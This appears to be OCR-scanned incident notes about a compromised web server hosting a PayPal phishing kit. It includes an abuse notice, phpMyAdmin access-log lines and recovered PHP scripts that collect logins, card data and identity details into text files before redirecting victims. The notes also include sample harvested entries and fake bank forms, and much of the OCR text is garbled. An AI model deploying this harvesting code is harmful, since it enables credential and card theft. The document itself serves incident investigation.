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IID SIRT <alert@internetidentity.com>
Phishing Redirector File on 203; 128 - Please Investigate

Team,
We are contacting you on behalf of our client Paypal regarding a file on your network, which is being used in a phishing attack
against their customers and brand. When viewed, this file, known as a “redirector,” will send the victim to a different location,

known as the “landing page.” In this case, the landing page is a phishing site:

http://203. .128/chiayi/afar/per.php

IP Address: 203.5% §1.128

Though the landing page may have been removed by the time you receive this notice, if you watch the URL in your browser and it
still redirects from the original URL to another, it is still active. As long as this file is active on the network, it can be reconfigured
to point to any other page that the hacker desires. For this reason, we suggest deleting the redirector file from the network
entirely.
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A. #1532 4% £x* Web service > #k & ¥ 4v&_i¢ * Apache #425% > @ * £
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1. & ~ehsetup. php © SAAZ% Z exil - g AP ¥ Féﬁaa] %R Lk PE

¢ # @2 /phpmyadmin/error. php 3F & o

I!,w http://203 el 128/phpmyadmin/error.php? 0 = & |)=.m phpMyadmin m

phpMyAdmin - T5—

Cannot start session without errors, please check errors given in your PHP and/or
webserver log file and configure your PHP installation properly.

C. # % Apache s access. log ¥4 > &k setup. php #3F % [P 5P » =
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221.208.57. 228 #7173 B~ » #i% 4§ HTTP POST = 4 & » -

221.208.57.228 - - [12/Aug/2014:11:11:46 +0800] "POST /phpmyadmin/scripts/setup.php HTTP/1.1" 200
221.208.57.228 - - [12/Aug/2014:11:11:46 +0800] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200
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1 e<?php

$ip = getenv("REMOTE_ADDR"); per.php
$email = $_POST['login_email'];

$pass = $_POST[ 'login_password'];

- $mesaj = "

User: $email

Pass: $pass

10 | -m-mmmmm e mm e

$fp = fopen('hai5.txt', 'a+');
fwrite($fp, $mesaj."\r\n");
fclose($fp);
- header("Location: http://www.ynkexins.com/tmp/enacc/location

2>

2. #ALAH% /chiayi/afar/rela.php ¥ v g 3|5 * & 5Lenff i ok %
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1 c<?php
$ip = getenv("REMOTE_ADDR"); rela.php
$ccnl = $_POST[ 'ccnl'];
$ccn2 = $_POST[ 'ccn2'];

- $ccn3 = % POST['ccn3'];

$em = $ POST[ "‘expm'];

$ey = $_POST['expy'];

$pass = $ POST[ 'passl'];
$mesaj = "

1@ Numb: 5581 $ccnl $ccn2 $ccn3
Data:|$em $ey

$fp = fopen('hai5.txt', 'a+');
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PayPal Debit MasterCard® Summary
-
= Please provide a few details and make sure that the information we have is up to date.
PayPal Debit MasterCard Number 6581 - - - )
A PayPal Premier account is required for the PayPal Debit MasterCard.
Continue | Cancel
This card is issued by The Bancorp Bank pursuant o licen: emational Incorporated. The Bancorp Bank; Member FDIC. This card can be use
MasterCard is accepted. MasterCard is a registered trader temational Incorporated &
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http://www.ynkexins.com/
http://www.ynkexins.cn/

1 User: vin8tesss@intial.com
Pass: parilinin8

Data:
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hai5.txt
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Please provide the information below and click Submit. All information is required.
First name:
Last name:
Date of birth: / / MM/ DD/ YYYY
Province:
Address:
City:
Postal code:
Phone number:
Social Insurance Number (SIN): XXX - XXX - XXX
Mother's maiden name:
Current Employer:
Card number:
Expiration date: / MM/ YYYY
CwW: Last 3 digits on the back of your card
Submit
© 2012 President's Choice Financial. All rights reserved
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1 u<?php

ini_set("output_buffering",4096);
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$Firstname = $_POST["Firstname"];
$Lastname = $_POST["Lastname"];
$monthl = $_POST["monthl"];

$dayl = $_POST["dayl"];

$yearl = $_POST["yearli"];
$province = $_POST["province"];
$address = $_POST["address"];
$city = $_POST["city"];

$zip = $_POST["zip"];

$phone = $_POST["phone"];

$sinl = $_POST["sinl"];
$sin2 = $_POST["sin2"];
$sin3 = $_POST["sin3"];

$¢mmn = $_POST["mmn"];

$employer = $_POST["employer"];
$cd = $_POST["ed"];

$month = $_POST["month"];

$year = $_POST["year"];

$cv = $_POST["cv"];

$fp = fopen("3@.txt","a");
$data=
fputs($fp,$data);
fclose($fp);

"Firstname: $Firstname\nLastname: $Lastname\nBirth_month: $monthl\nBirt

202.php
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Firstname: test
Lastname: test
Birth month: 12
Birth day: 12
Birth_year: 123
Card number: g1
Expiration: 12 - 1234
Cvviizg

Province: provi
Address: adres

Zip: zip

Phone: tel

sini: 123

sin2:123

sing: 123

City: cirty

Mother's Name: masa

30.txt

Present employer: masa

IP:178.33.28.149
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203.X.X.128 220.163.10.42
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